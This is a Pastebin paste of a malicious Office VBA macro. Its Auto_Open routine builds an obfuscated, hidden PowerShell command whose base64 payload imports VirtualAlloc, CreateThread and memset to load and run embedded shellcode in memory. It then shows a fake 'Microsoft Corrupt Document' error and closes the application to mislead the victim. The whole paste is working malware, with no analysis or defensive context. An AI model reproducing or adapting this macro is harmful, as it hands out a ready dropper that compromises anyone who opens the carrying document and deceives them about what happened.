Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Sub Auto_Open()
- Dim ATzNDyqTlY
- ATzNDyqTlY = "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & " -w 1 -nop -C \""sv D -;sv Lm ec;sv ykB ((gv D).value.toString()+(gv Lm).value.toString());" & "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & " (gv ykB).value.toString() 'JABJAE4ATAAgAD0AIAAnACQAQQBpAE0AegAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAA" _
- & "bABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaABy" _
- & "AGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0A" _
- & "cAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABBAGkATQB6ACAALQBOAGEAbQBlACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1" _
- & "AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAHoAIAA9ACAAMAB4AGIAOAAsADAAeAA2AGYALAAwAHgAZQBhACwAMAB4ADAAOQAsADAAeABhADYALAAwAHgAZABiACwAMAB4AGQAOAAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgANQBhACwAMAB4ADIAOQAsADAAeABjADkALAAwAHgAYgAxACwAMAB4ADYAMAAsADAAeAAzADEALAAwAHgANAAyACwAMAB4ADEAMgAsADAAeAA4ADMALAAwAHgA" _
- & "ZQBhACwAMAB4AGYAYwAsADAAeAAwADMALAAwAHgAMgBkACwAMAB4AGUANAAsADAAeABlAGIALAAwAHgANQAzACwAMAB4ADQAZAAsADAAeAAxADAALAAwAHgANgA5ACwAMAB4ADkAYgAsADAAeABhAGQALAAwAHgAZQAxACwAMAB4ADAAZQAsADAAeAAxADUALAAwAHgANAA4ACwAMAB4AGQAMAAsADAAeAAwAGUALAAwAHgANAAxACwAMAB4ADEAOQAsADAAeAA0ADMALAAwAHgAYgBmACwAMAB4ADAAMQAsADAAeAA0AGYALAAwAHgANgA4ACwAMAB4ADMANAAsADAAeAA0ADcALAAwAHgANwBiACwAMAB4AGYAYgAs" _
- & "ADAAeAAzADgALAAwAHgANAAwACwAMAB4ADgAYwAsADAAeAA0AGMALAAwAHgAZgA2ACwAMAB4AGIANgAsADAAeABhADMALAAwAHgANABkACwAMAB4AGEAYgAsADAAeAA4AGIALAAwAHgAYQAyACwAMAB4AGMAZAAsADAAeABiADYALAAwAHgAZABmACwAMAB4ADAANAAsADAAeABlAGYALAAwAHgANwA4ACwAMAB4ADEAMgAsADAAeAA0ADUALAAwAHgAMgA4ACwAMAB4ADYANAAsADAAeABkAGYALAAwAHgAMQA3ACwAMAB4AGUAMQAsADAAeABlADIALAAwAHgANwAyACwAMAB4ADgANwAsADAAeAA4ADYALAAwAHgA" _
- & "YgBmACwAMAB4ADQAZQAsADAAeAAyAGMALAAwAHgAZAA0ACwAMAB4ADIAZQAsADAAeABkADcALAAwAHgAZAAxACwAMAB4AGEAZAAsADAAeAA1ADEALAAwAHgAZgA2ACwAMAB4ADQANAAsADAAeABhADUALAAwAHgAMABiACwAMAB4AGQAOAAsADAAeAA2ADcALAAwAHgANgBhACwAMAB4ADIAMAAsADAAeAA1ADEALAAwAHgANwBmACwAMAB4ADYAZgAsADAAeAAwAGQALAAwAHgAMgBiACwAMAB4AGYANAAsADAAeAA1AGIALAAwAHgAZgA5ACwAMAB4AGEAYQAsADAAeABkAGMALAAwAHgAOQA1ACwAMAB4ADAAMgAs" _
- & "ADAAeAAwADAALAAwAHgAMgAxACwAMAB4ADEAYQAsADAAeABmADEALAAwAHgANQA4ACwAMAB4ADYANgAsADAAeAA5AGQALAAwAHgAZQBhACwAMAB4ADIAZQAsADAAeAA5AGUALAAwAHgAZABkACwAMAB4ADkANwAsADAAeAAyADgALAAwAHgANgA1ACwAMAB4ADkAZgAsADAAeAA0ADMALAAwAHgAYgBjACwAMAB4ADcAZAAsADAAeAAwADcALAAwAHgAMAA3ACwAMAB4ADYANgAsADAAeAA1ADkALAAwAHgAYgA5ACwAMAB4AGMANAAsADAAeABmADEALAAwAHgAMgBhACwAMAB4AGIANQAsADAAeABhADEALAAwAHgA" _
- & "NwA2ACwAMAB4ADcANAAsADAAeABkAGEALAAwAHgAMwA0ACwAMAB4ADUAYQAsADAAeAAwAGYALAAwAHgAZQA2ACwAMAB4AGIAZAAsADAAeAA1AGQALAAwAHgAZABmACwAMAB4ADYAZQAsADAAeAA4ADUALAAwAHgANwA5ACwAMAB4AGYAYgAsADAAeAAyAGIALAAwAHgANQBkACwAMAB4AGUAMwAsADAAeAA1AGEALAAwAHgAOQA2ACwAMAB4ADMAMAAsADAAeAAxAGMALAAwAHgAYgBjACwAMAB4ADcAOQAsADAAeABlAGMALAAwAHgAYgA4ACwAMAB4AGIANwAsADAAeAA5ADQALAAwAHgAZgA5ACwAMAB4AGIAMAAs" _
- & "ADAAeAA5AGEALAAwAHgAZgAwACwAMAB4ADkAMwAsADAAeABhAGYALAAwAHgANQAwACwAMAB4ADAAMQAsADAAeAAwADQALAAwAHgANAA3ACwAMAB4AGYAMQAsADAAeAA2AGYALAAwAHgAYgBkACwAMAB4AGYAMwAsADAAeAA2ADkALAAwAHgAMwBjACwAMAB4ADQAYQAsADAAeABkAGEALAAwAHgANgBlACwAMAB4ADQAMwAsADAAeAA2ADEALAAwAHgAMQAzACwAMAB4AGEAYgAsADAAeABlADgALAAwAHgAZAA5ACwAMAB4ADAANwAsADAAeAAxADgALAAwAHgANQBjACwAMAB4AGIANgAsADAAeAA5AGQALAAwAHgA" _
- & "YwA4ACwAMAB4ADEAYgAsADAAeABlADEALAAwAHgAMQBkACwAMAB4ADIAMQAsADAAeAA4ADgALAAwAHgAYgBlACwAMAB4ADgAYgAsADAAeABjAGEALAAwAHgANwBjACwAMAB4ADEAMgAsADAAeAAyADQALAAwAHgAZQBhACwAMAB4ADkAMAAsADAAeAA5ADQALAAwAHgAYgA0ACwAMAB4ADEAYQAsADAAeAAyADQALAAwAHgAOQA0ACwAMAB4AGIANAAsADAAeABkAGEALAAwAHgANgBhACwAMAB4AGMAMQAsADAAeABjADYALAAwAHgAYgBlACwAMAB4ADAANwAsADAAeAA4ADEALAAwAHgANABkACwAMAB4ADYAZAAs" _
- & "ADAAeABiADgALAAwAHgAMgBiACwAMAB4AGQAYwAsADAAeABjADcALAAwAHgANQA5ACwAMAB4AGIAZQAsADAAeABkADEALAAwAHgAOQAyACwAMAB4AGUAYwAsADAAeAA3AGYALAAwAHgANABiACwAMAB4ADEAOQAsADAAeAAzAGQALAAwAHgAYgA5ACwAMAB4ADIAYQAsADAAeABjAGEALAAwAHgAMwA2ACwAMAB4ADgAZgAsADAAeABmADgALAAwAHgANwA1ACwAMAB4AGMAYQAsADAAeABiADUALAAwAHgAMAAwACwAMAB4AGQANQAsADAAeAA0ADQALAAwAHgAMQBkACwAMAB4ADgAOAAsADAAeAA0AGEALAAwAHgA" _
- & "NQAyACwAMAB4ADUAZQAsADAAeAA1AGYALAAwAHgAZgBkACwAMAB4ADkAZAAsADAAeABmADIALAAwAHgAMAA4ACwAMAB4AGYAZAAsADAAeAAxADMALAAwAHgAMQA1ACwAMAB4ADQAYwAsADAAeABhAGUALAAwAHgAMAAwACwAMAB4ADgANgAsADAAeAAxAGEALAAwAHgAMAAzACwAMAB4AGYAMQAsADAAeAA0ADAALAAwAHgANABlACwAMAB4AGYANgAsADAAeABkADMALAAwAHgAYQBiACwAMAB4ADYAZgAsADAAeAAyAGQALAAwAHgAYgBkACwAMAB4AGEANgAsADAAeAA4ADUALAAwAHgAOQAyACwAMAB4AGEAYQAs" _
- & "ADAAeABiADYALAAwAHgAYQA5ACwAMAB4ADIAYwAsADAAeAAyAGIALAAwAHgAMwBlACwAMAB4ADIAZAAsADAAeAA0ADYALAAwAHgAMgBmACwAMAB4ADEAMAAsADAAeABjADQALAAwAHgAOAA5ACwAMAB4ADcAOQAsADAAeABmADgALAAwAHgANgBkACwAMAB4AGYAMwAsADAAeAAxAGIALAAwAHgANwBlACwAMAB4ADcAMgAsADAAeAAyAGUALAAwAHgANwAwACwAMAB4ADIAYwAsADAAeABkAGUALAAwAHgAOAAzACwAMAB4ADIAMQAsADAAeABiAGEALAAwAHgAYwBkACwAMAB4ADIANQAsADAAeABkADYALAAwAHgA" _
- & "NAAxACwAMAB4AGYAMQAsADAAeABmAGMALAAwAHgANgAzACwAMAB4ADcANQAsADAAeAA3ADgALAAwAHgAZQA4ACwAMAB4ADAAMwAsADAAeABmAGUALAAwAHgAOQAwACwAMAB4ADEANAAsADAAeABkADQALAAwAHgAOQA2ACwAMAB4AGQAMgAsADAAeABlADQALAAwAHgAZQAxACwAMAB4ADgANgAsADAAeAAyADQALAAwAHgAZAAxACwAMAB4ADQANQAsADAAeAAzADIALAAwAHgAMQA2ACwAMAB4AGIAMQAsADAAeABhADkALAAwAHgAMAA5ACwAMAB4ADAAYQAsADAAeAAxADcALAAwAHgAYgA1ACwAMAB4AGEANwAs" _
- & "ADAAeAAyADEALAAwAHgAZAA3ACwAMAB4ADIAMQAsADAAeAA0ADgALAAwAHgAYQA2ACwAMAB4AGQANwAsADAAeABiADEALAAwAHgAMgAwACwAMAB4AGMANgAsADAAeABkADcALAAwAHgAZgAxACwAMAB4AGIAMAAsADAAeAA5ADUALAAwAHgAYgBmACwAMAB4AGEAOQAsADAAeAAxADQALAAwAHgANABhACwAMAB4AGQAYQAsADAAeABiADUALAAwAHgAOAAwACwAMAB4AGYAZQAsADAAeAA3ADcALAAwAHgAMQA5ACwAMAB4AGEAMgAsADAAeABlADYALAAwAHgAMgAwACwAMAB4AGYANQAsADAAeABiADQALAAwAHgA" _
- & "YwA4ACwAMAB4AGMAZQAsADAAeAAwADUALAAwAHgAZQA2ACwAMAB4ADUAZQAsADAAeABhADYALAAwAHgAMQA3ACwAMAB4ADkAZQAsADAAeABkADYALAAwAHgAZAA0ACwAMAB4AGUANwAsADAAeAA0AGIALAAwAHgANgBkACwAMAB4AGQAOAAsADAAeAA2AGMALAAwAHgAYgA5ACwAMAB4AGUANQAsADAAeABkAGYALAAwAHgAOABkACwAMAB4ADgAMgAsADAAeAA3AGYALAAwAHgAMQBmACwAMAB4AGYAOAAsADAAeABlADEALAAwAHgAZAA4ACwAMAB4ADUAYwAsADAAeAA1AGMALAAwAHgAMAAyACwAMAB4AGIAMQAs" _
- & "ADAAeAA5AGQALAAwAHgAOQBjACwAMAB4ADIAZAAsADAAeAA3ADMALAAwAHgANQA4ACwAMAB4ADUAMQAsADAAeABmAGMALAAwAHgANAA1ACwAMAB4AGEAYwAsADAAeABhAGQALAAwAHgAMgBlACwAMAB4ADkANwAsADAAeABmAGUALAAwAHgAZgBlACwAMAB4ADEAOAAsADAAeABkADcAOwAkAGcAIAA9ACAAMAB4ADEAMAAwADAAOwBpAGYAIAAoACQAegAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABnACAAPQAgACQAegAuAEwAZQBuAGcAdABoAH0AOwAkAE4AVABSAD0AJAB3ADoA" _
- & "OgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABOAFQAUgAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAs" _
- & "ACQATgBUAFIALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ADsAKQB7AFMAdABhAHIAdAAtAHMAbABlAGUAcAAgADYAMAB9ADsAJwA7ACQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJABJAE4ATAApACkAOwAkAG0AZABPAEoAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYA" _
- & "KABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAZwB2AFAASAAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJABnAHYAUABIACAAJABtAGQATwBKACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAk" _
- & "AG0AZABPAEoAIAAkAGUAIgA7AH0A'\""
- Dim pKMLrbdJKUD
- pKMLrbdJKUD = "S" & "h" & "e" & "l" & "l"
- Dim JvOyrikwcNJP
- JvOyrikwcNJP = "W" & "S" & "c" & "r" & "i" & "p" & "t"
- Dim KrUXaLODM
- KrUXaLODM = JvOyrikwcNJP & "." & pKMLrbdJKUD
- Dim NXfOxs
- Dim uhcjFr
- Set NXfOxs = VBA.CreateObject(KrUXaLODM)
- dqFOMmV = "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & "." & "e" & "x" & "e" & " "
- uhcjFr = NXfOxs.Run(dqFOMmV & ATzNDyqTlY, 0, False)
- Dim title As String
- title = "Microsoft Corrupt Document"
- Dim msg As String
- Dim intResponse As Integer
- msg = "The document appears to be made on an older version of Microsoft. Please have the creator save to a newer and supported format."
- intResponse = MsgBox(msg, 16, title)
- Application.Quit
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement